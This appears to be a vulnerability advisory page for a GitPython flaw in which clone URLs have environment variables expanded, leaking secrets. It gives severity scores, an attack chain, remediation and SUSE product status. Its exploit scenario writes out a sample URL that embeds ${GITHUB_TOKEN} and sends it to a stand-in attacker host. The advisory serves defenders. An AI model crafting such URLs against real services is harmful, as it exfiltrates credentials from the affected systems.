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GitPython EUVDEUVD-2026-51855

| CVE-2026-67322 HIGH
Information Exposure (CWE-200)
2026-08-01 VulnCheck GHSA-m4f3-g4cq-hqrx
Information Disclosure Gitpython Red Hat Suse
8.7
CVSS 4.0 · Vendor: VulnCheck
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Severity by source

Vendor (VulnCheck) PRIMARY
8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
7.5 HIGH

Network-exploitable via attacker-supplied URL; no privileges, authentication, or interaction required; high confidentiality loss from env var exfiltration; no integrity or availability impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Red Hat
7.5 HIGH
qualitative

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

4
Source Code Evidence Fetched
Aug 01, 2026 - 13:19 vuln.today
Analysis Generated
Aug 01, 2026 - 13:19 vuln.today
Patch available
Aug 01, 2026 - 13:01 EUVD
CVE Published
Aug 01, 2026 - 12:22 cve.org
HIGH 8.7

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 6 pypi packages depend on gitpython (6 direct, 0 indirect)

Ecosystem-wide dependent count for version 3.1.52.

DescriptionCVE.org

GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.

AnalysisAI

Environment variable exfiltration in GitPython before 3.1.52 allows any attacker who controls a URL passed to Repo.clone_from() to steal secrets from the hosting process's environment. The Git.polish_url() method unconditionally calls os.path.expandvars() on caller-supplied URLs on all non-Cygwin platforms, expanding tokens like $AWS_SECRET_ACCESS_KEY or ${GITHUB_TOKEN} before passing the resulting URL to a git clone subprocess - transmitting the expanded secret over the network to an attacker-controlled host. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Identify service accepting user-supplied clone URLs
Delivery
Craft URL embedding $ENV_VAR tokens
Exploit
Submit malicious URL to target service
Execution
Server invokes polish_url() calling os.path.expandvars()
Persist
git clone transmits expanded secret to attacker host
Impact
Attacker captures secret from server logs
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Vulnerability AssessmentAI

Exploitation Exploitation requires that the target application calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that the attacker controls - the exact design pattern documented and intended by GitPython for 'import repository from URL' features. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 score of 8.7 with vector AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N accurately reflects the real-world risk profile: the attack requires no authentication, no special conditions, no user interaction, and produces high confidentiality impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker targeting a CI/CD platform or git-hosting mirror that accepts user-submitted repository URLs crafts a URL such as `https://${GITHUB_TOKEN}@attacker.example.com/steal`. When the server calls `Repo.clone_from()` on this URL, `polish_url()` expands `${GITHUB_TOKEN}` to the actual token value before `git clone` initiates a network connection to `attacker.example.com`, transmitting the secret in the HTTP request path - which the attacker logs server-side. …
Remediation Upgrade `gitpython` to version 3.1.52 or later using `pip install --upgrade gitpython`. … Detailed patch versions, workarounds, and compensating controls in full report.
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Recommended ActionAI

Within 24 hours: Identify all systems running GitPython versions prior to 3.1.52, particularly CI/CD platforms, deployment automation, and repository scanning tools; immediately rotate AWS keys, GitHub tokens, and other secrets accessible in affected process environments. …

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Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise Module for Python 3 15 SP7 Affected
SUSE Linux Enterprise Server 15 SP7 Affected
SUSE Linux Enterprise Server 16.0 Affected

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EUVD-2026-51855 vulnerability details – vuln.today
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